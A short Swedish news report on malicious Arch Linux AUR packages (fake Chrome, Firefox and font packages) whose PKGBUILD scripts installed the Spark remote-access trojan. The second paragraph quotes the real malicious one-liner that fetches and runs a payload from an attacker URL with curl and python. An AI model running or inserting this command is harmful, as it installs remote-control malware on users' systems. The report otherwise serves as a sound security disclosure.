Ytterligare 6 skadliga paket har upptäckts i AUR-repo för Arch Linux

I AUR (Arch User Repository), som används i Arch Linux för att distribuera paket från tredjepartsutvecklare, har publiceringen av skadlig kod fortsatt, integrerad i paket med oofficiala versioner av webbläsare. Utöver de skadliga paketen firefox-patch-bin, librewolf-fix-bin och zen-browser-patched-bin som identifierades för två veckor sedan, har paketet google-chrome-stable lagts till i AUR, vilket också innehåller en ändring som installerar en skadlig komponent som ger fjärråtkomst till systemet.

I PKGBUILD-filen för det problematiska paketet identifierades installationen av skriptet för att köra webbläsaren google-chrome-stable.sh, som bland annat innehöll kommandot 'python -c "$(curl https://segs.lol/9wUb1Z)"', som laddade ner skadlig programvara, identifierad av VirusTotal som trojanen Spark, vilket möjliggör fjärrstyrning av systemet, start av processer, filöverföring, inspektion av trafik och skickande av skärmdumpar.

Det skadliga paketet google-chrome-stable laddades ner i förrgår och togs bort av AUR-administratörerna några timmar efter att det dök upp. Nästan omedelbart efter borttagningen av google-chrome-stable laddades två skadliga paket upp i AUR - 'chrome' och 'chrome-bin', som innehöll ett liknande skript för installation av skadlig programvara på användarens system.

Följande identifierades tre skadliga paket till: ttf-mac-fonts-all, ttf-ms-fonts-all och gromit.

Källa: opennet.ru